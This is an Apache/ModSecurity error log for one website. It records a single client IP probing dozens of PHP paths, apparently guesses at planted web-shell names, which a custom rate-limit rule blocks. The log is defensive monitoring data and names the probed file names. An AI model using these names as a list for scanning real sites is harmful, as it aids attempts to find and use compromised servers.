[Sat May 16 02:18:17.802451 2026] [:error] [pid 59453:tid 59486] [client 4.205.123.246:38891] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdjaXnXIIDivY9RkF0rAQAAA1c"]
[Sat May 16 02:18:18.912009 2026] [:error] [pid 59311:tid 59330] [client 4.205.123.246:39046] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdjarGBV7OkryAk5AOarAAAAo8"]
[Sat May 16 02:18:19.527855 2026] [:error] [pid 30208:tid 30215] [client 4.205.123.246:39984] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdja5mLMCJujX-JTvhU7gAAAIU"]
[Sat May 16 02:18:20.207761 2026] [:error] [pid 59522:tid 59574] [client 4.205.123.246:39982] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdjbIKyKAkpeBAoLCZYOAAAA9M"]
[Sat May 16 02:18:21.236507 2026] [:error] [pid 59453:tid 59478] [client 4.205.123.246:39593] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdjbXnXIIDivY9RkF0rBAAAA08"]
[Sat May 16 02:18:21.812762 2026] [:error] [pid 30208:tid 30214] [client 4.205.123.246:39898] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdjbZmLMCJujX-JTvhU7wAAAIQ"]
[Sat May 16 02:18:22.339743 2026] [:error] [pid 30208:tid 30218] [client 4.205.123.246:40349] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdjbpmLMCJujX-JTvhU8QAAAIg"]
[Sat May 16 02:18:22.893358 2026] [:error] [pid 30208:tid 30230] [client 4.205.123.246:37476] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdjbpmLMCJujX-JTvhU8gAAAJQ"]
[Sat May 16 02:18:24.166597 2026] [:error] [pid 30272:tid 30281] [client 4.205.123.246:39346] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdjcHvc_jSFaQ_7_wcxWgAAAYc"]
[Sat May 16 02:18:24.879816 2026] [:error] [pid 30208:tid 30231] [client 4.205.123.246:39903] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdjcJmLMCJujX-JTvhU8wAAAJU"]
[Sat May 16 02:18:25.855769 2026] [:error] [pid 59522:tid 59573] [client 4.205.123.246:40269] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdjcYKyKAkpeBAoLCZYOgAAA9I"]
[Sat May 16 02:18:27.663516 2026] [:error] [pid 59517:tid 59546] [client 4.205.123.246:38998] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdjc8WGuSBVizA7n2P3jAAAA5M"]
[Sat May 16 02:18:28.511531 2026] [:error] [pid 59522:tid 59555] [client 4.205.123.246:40320] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdjdIKyKAkpeBAoLCZYPAAAA8A"]
[Sat May 16 02:18:29.852881 2026] [:error] [pid 30208:tid 30227] [client 4.205.123.246:38852] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdjdZmLMCJujX-JTvhU9QAAAJE"]
[Sat May 16 02:18:31.859921 2026] [:error] [pid 9305:tid 9344] [client 4.205.123.246:40352] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdjd95FZyBmdCM8GsGlnAAAAEY"]
[Sat May 16 02:18:32.865833 2026] [:error] [pid 59202:tid 59235] [client 4.205.123.246:40322] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdjeEORbjeqf1CKQ2KD9gAAAhc"]
[Sat May 16 02:18:33.517166 2026] [:error] [pid 59311:tid 59334] [client 4.205.123.246:40661] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdjebGBV7OkryAk5AOarwAAApM"]
[Sat May 16 02:18:34.289977 2026] [:error] [pid 59522:tid 59563] [client 4.205.123.246:39515] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdjeoKyKAkpeBAoLCZYPQAAA8g"]
[Sat May 16 02:18:34.955611 2026] [:error] [pid 59522:tid 59576] [client 4.205.123.246:40743] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdjeoKyKAkpeBAoLCZYPgAAA9U"]
[Sat May 16 02:18:35.765796 2026] [:error] [pid 59522:tid 59569] [client 4.205.123.246:39514] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdje4KyKAkpeBAoLCZYPwAAA84"]
[Sat May 16 02:18:37.705703 2026] [:error] [pid 30208:tid 30219] [client 4.205.123.246:40682] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdjfZmLMCJujX-JTvhU-AAAAIk"]
[Sat May 16 02:18:39.006220 2026] [:error] [pid 59522:tid 59578] [client 4.205.123.246:39881] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdjf4KyKAkpeBAoLCZYQQAAA9c"]
[Sat May 16 02:18:39.837670 2026] [:error] [pid 59522:tid 59564] [client 4.205.123.246:40742] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdjf4KyKAkpeBAoLCZYQgAAA8k"]
[Sat May 16 02:18:40.639947 2026] [:error] [pid 59517:tid 59534] [client 4.205.123.246:39924] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdjgMWGuSBVizA7n2P3jQAAA4c"]
[Sat May 16 02:18:42.061710 2026] [:error] [pid 30272:tid 30290] [client 4.205.123.246:39910] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdjgnvc_jSFaQ_7_wcxYwAAAZA"]
[Sat May 16 02:18:43.195627 2026] [:error] [pid 30272:tid 30298] [client 4.205.123.246:39054] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdjg3vc_jSFaQ_7_wcxZAAAAZg"]
[Sat May 16 02:18:45.321633 2026] [:error] [pid 9305:tid 9360] [client 4.205.123.246:40651] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdjhd5FZyBmdCM8GsGlnQAAAFY"]
[Sat May 16 02:18:46.805490 2026] [:error] [pid 30272:tid 30294] [client 4.205.123.246:39097] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdjhnvc_jSFaQ_7_wcxZgAAAZQ"]
[Sat May 16 02:18:48.306003 2026] [:error] [pid 9392:tid 9398] [client 4.205.123.246:39284] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdjiNBWJIjH1U9zGfYHlwAAAQQ"]
[Sat May 16 02:18:51.678050 2026] [:error] [pid 59517:tid 59542] [client 4.205.123.246:40667] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdji8WGuSBVizA7n2P3jwAAA48"]
[Sat May 16 02:18:53.136750 2026] [:error] [pid 59517:tid 59544] [client 4.205.123.246:39241] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdjjcWGuSBVizA7n2P3kQAAA5E"]
[Sat May 16 02:18:53.789817 2026] [:error] [pid 30272:tid 30281] [client 4.205.123.246:40738] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdjjXvc_jSFaQ_7_wcxaAAAAYc"]
[Sat May 16 02:18:54.382433 2026] [:error] [pid 9307:tid 9367] [client 4.205.123.246:37440] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdjjiC43jY1IRzK5VZz_wAAAMI"]
[Sat May 16 02:18:55.125170 2026] [:error] [pid 30208:tid 30221] [client 4.205.123.246:40717] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdjj5mLMCJujX-JTvhU_wAAAIs"]
[Sat May 16 02:18:56.336351 2026] [:error] [pid 9307:tid 9368] [client 4.205.123.246:40275] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdjkCC43jY1IRzK5VZ0AAAAAMM"]
[Sat May 16 02:18:57.013629 2026] [:error] [pid 59453:tid 59464] [client 4.205.123.246:38985] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdjkXnXIIDivY9RkF0rCAAAA0U"]
[Sat May 16 02:18:58.151331 2026] [:error] [pid 30208:tid 30220] [client 4.205.123.246:40336] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdjkpmLMCJujX-JTvhVBgAAAIo"]
[Sat May 16 02:18:58.754085 2026] [:error] [pid 30208:tid 30229] [client 4.205.123.246:39542] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdjkpmLMCJujX-JTvhVCAAAAJM"]
[Sat May 16 02:18:59.478784 2026] [:error] [pid 30208:tid 30219] [client 4.205.123.246:39242] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdjk5mLMCJujX-JTvhVCgAAAIk"]
[Sat May 16 02:19:00.267556 2026] [:error] [pid 30208:tid 30234] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/man.php
[Sat May 16 02:19:00.479309 2026] [:error] [pid 30208:tid 30232] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/12.php
[Sat May 16 02:19:00.690898 2026] [:error] [pid 30208:tid 30226] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Sat May 16 02:19:00.930578 2026] [:error] [pid 30208:tid 30211] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/wps.php
[Sat May 16 02:19:01.269787 2026] [:error] [pid 30208:tid 30221] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/alpha.php
[Sat May 16 02:19:01.480303 2026] [:error] [pid 30208:tid 30215] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/bob.php
[Sat May 16 02:19:01.981372 2026] [:error] [pid 30208:tid 30228] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Sat May 16 02:19:02.193637 2026] [:error] [pid 30208:tid 30218] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/insta.php
[Sat May 16 02:19:02.437826 2026] [:error] [pid 30208:tid 30233] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kz.php
[Sat May 16 02:19:02.710093 2026] [:error] [pid 30208:tid 30213] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Sat May 16 02:19:03.019297 2026] [:error] [pid 30208:tid 30219] [client 4.205.123.246:39087] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Sat May 16 02:19:03.227770 2026] [:error] [pid 30208:tid 30224] [client 4.205.123.246:39087] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "agdjl5mLMCJujX-JTvhVGAAAAI4"]
[Sat May 16 02:19:04.616506 2026] [:error] [pid 59522:tid 59570] [client 4.205.123.246:39960] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "agdjmIKyKAkpeBAoLCZYRAAAA88"]
[Sat May 16 02:19:07.250819 2026] [:error] [pid 30208:tid 30221] [client 4.205.123.246:39957] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "agdjm5mLMCJujX-JTvhVHQAAAIs"]
[Sat May 16 02:19:09.388546 2026] [:error] [pid 9307:tid 9383] [client 4.205.123.246:40316] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "agdjnSC43jY1IRzK5VZ0BwAAANI"]
[Sat May 16 02:19:10.855416 2026] [:error] [pid 59311:tid 59333] [client 4.205.123.246:40915] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agdjnrGBV7OkryAk5AOaugAAApI"]
[Sat May 16 02:19:11.583309 2026] [:error] [pid 30272:tid 30274] [client 4.205.123.246:40746] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agdjn3vc_jSFaQ_7_wcxcwAAAYA"]
[Sat May 16 02:19:14.176732 2026] [:error] [pid 59517:tid 59548] [client 4.205.123.246:40959] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agdjosWGuSBVizA7n2P3ngAAA5U"]
[Sat May 16 02:19:16.421838 2026] [:error] [pid 30208:tid 30216] [client 4.205.123.246:39262] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "agdjpJmLMCJujX-JTvhVKwAAAIY"]
[Sat May 16 02:19:17.852937 2026] [:error] [pid 59522:tid 59562] [client 4.205.123.246:40705] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "agdjpYKyKAkpeBAoLCZYSgAAA8c"]
[Sat May 16 02:19:19.412948 2026] [:error] [pid 59311:tid 59329] [client 4.205.123.246:36941] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "agdjp7GBV7OkryAk5AOauwAAAo4"]
[Sat May 16 02:19:20.369324 2026] [:error] [pid 9307:tid 9388] [client 4.205.123.246:40652] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "agdjqCC43jY1IRzK5VZ0CgAAANc"]
[Sat May 16 02:19:21.255965 2026] [:error] [pid 59522:tid 59563] [client 4.205.123.246:40350] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "agdjqYKyKAkpeBAoLCZYSwAAA8g"]
[Sat May 16 02:19:23.137322 2026] [:error] [pid 9305:tid 9357] [client 4.205.123.246:41003] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agdjq95FZyBmdCM8GsGlngAAAFM"]
[Sat May 16 02:19:26.310801 2026] [:error] [pid 59522:tid 59569] [client 4.205.123.246:40331] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "agdjroKyKAkpeBAoLCZYTQAAA84"]
